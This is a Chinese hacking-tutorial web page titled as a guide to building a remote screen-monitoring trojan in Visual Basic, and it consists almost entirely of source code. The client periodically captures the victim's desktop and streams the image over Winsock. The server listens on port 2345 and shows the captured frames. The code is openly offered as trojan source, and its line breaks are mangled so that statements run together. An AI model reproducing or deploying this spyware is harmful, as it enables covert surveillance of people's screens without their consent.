·首 页 ·精选文章 ·无忧学院 ·两性教育 ·商业站点 ·无忧传奇 ·私服宣传 ·无忧音乐 ·骗子举报 ·软件发布 ·无忧论坛
您现在的位置: 无忧网络网游技术网 >> 技术文章 >> 黑客教程 >> 技术文摘 >> 网络类 >> 正文

  没有公告

| 技术文章 | 传奇技术 | 传世技术 | 魔兽技术 | 奇迹技术 | 千年技术 | 仙境技术 | 其他技术 | 传奇菜鸟 | 传世菜鸟 | 奇迹菜鸟 |
| 网游下载 | 网游版本 | 私服工具 | 游戏下载 | SF客户端 | 网站原码 | 经典工具 | 破解工具 | 绿色软件 | 教程下载 | 动画专区 |
| 操作系统 | 故障维修 | 主机架设 | 腾讯QQ区 | 流量排名 | 黑客教程 | 主机评测 | WAP 专区 | 网络游戏 | 游戏攻略 | 网吧黄页 |
| 私服必备 | 常用工具 | 网吧联盟 | 传奇站点 | 网页加密 | 网页转换 | 颜色采集 | 网页源码 | MD 5破解 | 站长工具 | 在线算命 |
| 实用查询 | I P 查询 | 邮编查询 | 区号查询 | 周公解梦 | 成语大全 | 手机查询 | 号码凶吉 | 星座查询 |身份证查询| 5UQQ查询 |
专 题 栏 目
最 新 热 门
最 新 推 荐
相 关 文 章
没有相关文章
用VB打造远程屏幕监控木马         ★★★
用VB打造远程屏幕监控木马
用VB打造远程屏幕监控木马
作者:黑虎  文章来源:本站原创  点击数:  更新时间:2007-3-28 17:31:35
    

本程序思路是通过定时截取屏幕图形,来作为被控端。源码如下所示:

 

Option ExplicitPrivate Type BITMAP    bmType As Long    bmWidth As Long   
 bmHeight As Long    bmWidthBytes As Long    bmPlanes As Integer    
bmBitsPixel As Integer    bmBits As LongEnd TypePrivate Declare Function GetObj 
Lib "gdi32" Alias "GetObjectA" (ByVal hObject As Long, ByVal nCount As Long, 
lpObject As Any) As LongPrivate Declare Function GetDesktopWindow Lib "user32" ()
 As LongPrivate Declare Function GetDC Lib "user32" (ByVal hwnd As Long) As 
LongPrivate Declare Function ReleaseDC Lib "user32" (ByVal hwnd As Long, ByVal
 hdc As Long) As LongPrivate Declare Function BitBlt Lib "gdi32" (ByVal hDestDC
 As Long, ByVal x As Long, ByVal y As Long, ByVal nWidth As Long, ByVal nHeight 
As Long, ByVal hSrcDC As Long, ByVal xSrc As Long, ByVal ySrc As Long, ByVal 
dwRop As Long) As LongPrivate Declare Sub CopyMemory Lib "Kernel32" Alias 
"RtlMoveMemory" (Destination As Any, Source As Any, ByVal Length As Long)Private
 Declare Function GetBitmapBits Lib "gdi32" (ByVal hBitmap As Long, ByVal dwCount
 As Long, lpBits As Any) As LongPrivate Declare Function SetBitmapBits Lib
 "gdi32" (ByVal hBitmap As Long, ByVal dwCount As Long, lpBits As Any) As
 LongPrivate Declare Function CreateCompatibleBitmap Lib "gdi32" (ByVal hdc As 
Long, ByVal nWidth As Long, ByVal nHeight As Long) As LongPrivate Declare 
Function CreateCompatibleDC Lib "gdi32" (ByVal hdc As Long) As LongPrivate 
Declare Function SelectObject Lib "gdi32" (ByVal hdc As Long, ByVal hObject As 
Long) As LongPrivate Declare Function DeleteDC Lib "gdi32" (ByVal hdc As Long) 
As LongPrivate Declare Function DeleteObject Lib "gdi32" (ByVal hObject As Long) 
As LongPrivate MyHdc1 As Long, MyBmp1 As Long, MyOldBmp1 As Long, ScrW As Long, 
ScrH As LongPrivate StartT As SinglePrivate Sub Form_Load()  Dim bm As BITMAP, 
BmpSize As Long  Timer1.Enabled = False   '间隔时间获取图形  Me.ScaleMode = 3 
 ScrW = Screen.Width \ Screen.TwipsPerPixelX  ScrH = Screen.Height \ Screen.
TwipsPerPixelY  '这只是方便调试的示例,实用程序中,不用临时DC,可直接取窗体的BMP,会快一些 
 MyHdc1 = CreateCompatibleDC(FrmClient.hdc)  MyBmp1 = CreateCompatibleBitmap
(FrmClient.hdc, ScrW, ScrH)  MyOldBmp1 = SelectObject(MyHdc1, MyBmp1) 
 'Ws2为WinSock控件,用于发送数据     'Ws2.RemoteHost = InputBox
("请输入远程ip地址", "远程监控测试", "127.0.0.1")  'Ws2.RemotePort = 2345  
'Ws2.Connect  Timer1.Interval = 10000  Timer1.Enabled = TrueEnd SubPrivate Sub 
Form_Unload(Cancel As Integer)  'Ws2.Close  SelectObject MyHdc1, MyOldBmp1 
 DeleteObject MyBmp1  DeleteDC MyHdc1End SubPrivate Sub Timer1_Timer() 
 Dim i As Long, d As Long, b As Long, bm As BITMAP, dat() As Byte, BmpSize As
 Long  StartT = Timer  d = GetDesktopWindow  i = GetDC(d)  BitBlt MyHdc1, 0, 0, 
ScrW, ScrH, i, 0, 0, vbSrcCopy  ReleaseDC d, i  GetObj MyBmp1, Len(bm), bm  
BmpSize = bm.bmWidthBytes * bm.bmHeight  ReDim dat(BmpSize - 1)  GetBitmapBits 
MyBmp1, BmpSize, dat(0)  ReDim Preserve dat(BmpSize + 1)  dat(BmpSize) = 13 
 dat(BmpSize + 1) = 10  'StartT = Timer  'Ws2.SendData dat  Debug.Print dat  
   'dat为获取到的屏幕图形数据End SubPrivate Sub Ws2_Close()  StatusBar1.
SimpleText = Ws2.RemoteHost & " Disconnected.."  Ws2.CloseEnd SubPrivate Sub 
Ws2_Connect()  StatusBar1.SimpleText = Ws2.RemoteHost & " Connected.."End
 SubPrivate Sub Ws2_Error(ByVal Number As Integer, Description As String, ByVal 
Scode As Long, ByVal Source As String, ByVal HelpFile As String, ByVal 
HelpContext As Long, CancelDisplay As Boolean)  On Error Resume Next  
StatusBar1.SimpleText = Ws2.RemoteHost & " Error : " & Description  Ws2.CloseEnd 
Sub'============================================================='项目名称:   
Server (远程屏幕监控端)'窗口名称:   FrmServer'WinSock控件:Ws1'StatusBar控件:
StatusBar1 (注意:StatusBar1.Style = sbrSimple)'=================================
============================Option ExplicitPrivate Type BITMAP    bmType As Long
    bmWidth As Long    bmHeight As Long    bmWidthBytes As Long    bmPlanes As 
Integer    bmBitsPixel As Integer    bmBits As LongEnd TypePrivate Declare 
Function GetObj Lib "gdi32" Alias "GetObjectA" (ByVal hObject As Long, ByVal
 nCount As Long, lpObject As Any) As LongPrivate Declare Function 
GetDesktopWindow Lib "user32" () As LongPrivate Declare Function GetDC Lib 
"user32" (ByVal hwnd As Long) As LongPrivate Declare Function ReleaseDC Lib 
"user32" (ByVal hwnd As Long, ByVal hdc As Long) As LongPrivate Declare Function 
BitBlt Lib "gdi32" (ByVal hDestDC As Long, ByVal x As Long, ByVal y As Long, 
ByVal nWidth As Long, ByVal nHeight As Long, ByVal hSrcDC As Long, ByVal xSrc As 
Long, ByVal ySrc As Long, ByVal dwRop As Long) As LongPrivate Declare Sub
 CopyMemory Lib "Kernel32" Alias "RtlMoveMemory" (Destination As Any, Source As
 Any, ByVal Length As Long)Private Declare Function GetBitmapBits Lib "gdi32" 
(ByVal hBitmap As Long, ByVal dwCount As Long, lpBits As Any) As LongPrivate 
Declare Function SetBitmapBits Lib "gdi32" (ByVal hBitmap As Long, ByVal dwCount
 As Long, lpBits As Any) As LongPrivate Declare Function CreateCompatibleBitmap
 Lib "gdi32" (ByVal hdc As Long, ByVal nWidth As Long, ByVal nHeight As Long) 
As LongPrivate Declare Function CreateCompatibleDC Lib "gdi32" (ByVal hdc As Long)
 As LongPrivate Declare Function SelectObject Lib "gdi32" (ByVal hdc As Long, 
ByVal hObject As Long) As LongPrivate Declare Function DeleteDC Lib "gdi32" 
(ByVal hdc As Long) As LongPrivate Declare Function DeleteObject Lib "gdi32" (ByVal
 hObject As Long) As LongPrivate ScrW As Long, ScrH As LongPrivate MyHdc As Long,
 MyBmp As Long, MyOldBmp As Long, BmpDat() As Byte, RevByte As LongPrivate StartT
 As SinglePrivate Sub Form_Load()  Dim bm As BITMAP, BmpSize As Long    On Error
 GoTo ErrLoad    Me.ScaleMode = 3  ScrW = Screen.Width \ Screen.TwipsPerPixelX  
ScrH = Screen.Height \ Screen.TwipsPerPixelY  '这只是方便调试的示例,实用程序中,
不用临时DC,可直接取窗体的BMP,会快一些  MyHdc = CreateCompatibleDC(FrmServer.hdc)  
MyBmp = CreateCompatibleBitmap(FrmServer.hdc, ScrW, ScrH) 
 MyOldBmp = SelectObject(MyHdc, MyBmp)      GetObj MyBmp, Len(bm),
 bm  BmpSize = bm.bmWidthBytes * bm.bmHeight  ReDim BmpDat(BmpSize - 1) 
 GetBitmapBits MyBmp, BmpSize, BmpDat(0)  WS1.LocalPort = 2345  WS1.Listen   
 Exit Sub  ErrLoad:  MsgBox ErrorEnd SubSub getscreen()End SubPrivate Sub
 Form_Unload(Cancel As Integer)  On Error Resume Next  WS1.Close  SelectObject
 MyHdc, MyOldBmp  DeleteObject MyBmp  DeleteDC MyHdcEnd SubPrivate Sub
 WS1_Close()  StatusBar1.SimpleText = WS1.RemoteHostIP & " Disconnected.." 
 WS1.Close  If WS1.State = sckListening Then    WS1.Close  Else    
WS1.LocalPort = 2345    WS1.Listen  End IfEnd SubPrivate Sub 
Ws1_ConnectionRequest(ByVal requestID As Long)  If WS1.State <> sckClosed Then
 WS1.Close  StatusBar1.SimpleText = WS1.RemoteHostIP & " Connecting.." 
 WS1.Accept requestID  If WS1.State = 7 Then StatusBar1.SimpleText = 
WS1.RemoteHostIP & " Connected.."End SubPrivate Sub Ws1_DataArrival(ByVal
 bytesTotal As Long)  Dim dat() As Byte, i As Long, nTime As Long    
On Error Resume Next    WS1.GetData dat, vbArray Or vbByte  i = InStrB(1, dat,
 ChrB(13) & ChrB(10))  If i > 0 Then    'StartT = Timer    If i > 1 Then
 CopyMemory BmpDat(RevByte), dat(0), i - 1    SetBitmapBits MyBmp, UBound(BmpDat)
 + 1, BmpDat(0)    RevByte = 0    '实用程序中,不用临时DC,下面一步可省   
 BitBlt Me.hdc, 0, 0, Me.ScaleWidth, Me.ScaleHeight, MyHdc, 0, 0, vbSrcCopy 
   nTime = Timer - Val(Me.Caption)    Me.Caption = Timer - StartT    
If Len(StatusBar1.SimpleText) < 255 Then        StatusBar1.SimpleText =
 nTime & "," & StatusBar1.SimpleText    Else        StatusBar1.SimpleText = 
nTime    End If    If bytesTotal > i + 1 Then        RevByte = bytesTotal - i - 1 
       CopyMemory BmpDat(0), dat(i + 1), RevByte    End If  Else    CopyMemory 
BmpDat(RevByte), dat(0), bytesTotal    RevByte = RevByte + bytesTotal  End If 
 End SubPrivate Sub WS1_Error(ByVal Number As Integer, Description As String, 
ByVal Scode As Long, ByVal Source As String, ByVal HelpFile As String, ByVal
 HelpContext As Long, CancelDisplay As Boolean)  StatusBar1.SimpleText = 
("Error : " & Description)End Sub


本站声明:本站文章资源均来自网上转载或机器人自动搜索采集,如果本站文章资源有版权问题请联系管理员,我们尽快予以更正。所有文章只限用于个人测试学习使用,不得用于非法商业用途,请勿非法复制传播。特此声明!--[5uwl.net]

五年游戏制作经验; 金牌服务品质保障 游戏开区一条龙 第一品牌无忧网络[5uwl.net]

文章录入:黑虎    责任编辑:无忧黑虎 
  • 上一篇文章:

  • 下一篇文章:
  • 【字体: 】【发表评论】【加入收藏】【告诉好友】【打印此文】【关闭窗口
      网友评论:(只显示最新10条。评论内容只代表网友观点,与本站立场无关!)
    | 设为首页 | 加入收藏 | 联系站长 | 友情链接 | 版权申明 | 站点地图 | 管理登录 | 
    版权所有:Copyright © 2002-2008 中国·无忧网络 Www.5uwl.NET All Rights Reserved.
    网络支持:本站部份带宽由群英网络唯一数据赞助 (排名不分次序本站征赞助商)
    建议使用:1024*768 分辨率 Windows2000 Internet Explorer v5.0 or Higher
    广告投放:[5uwl.net] QQ 267320050 TEL [移]013689532036
    IP备案号:粤ICP备05092442号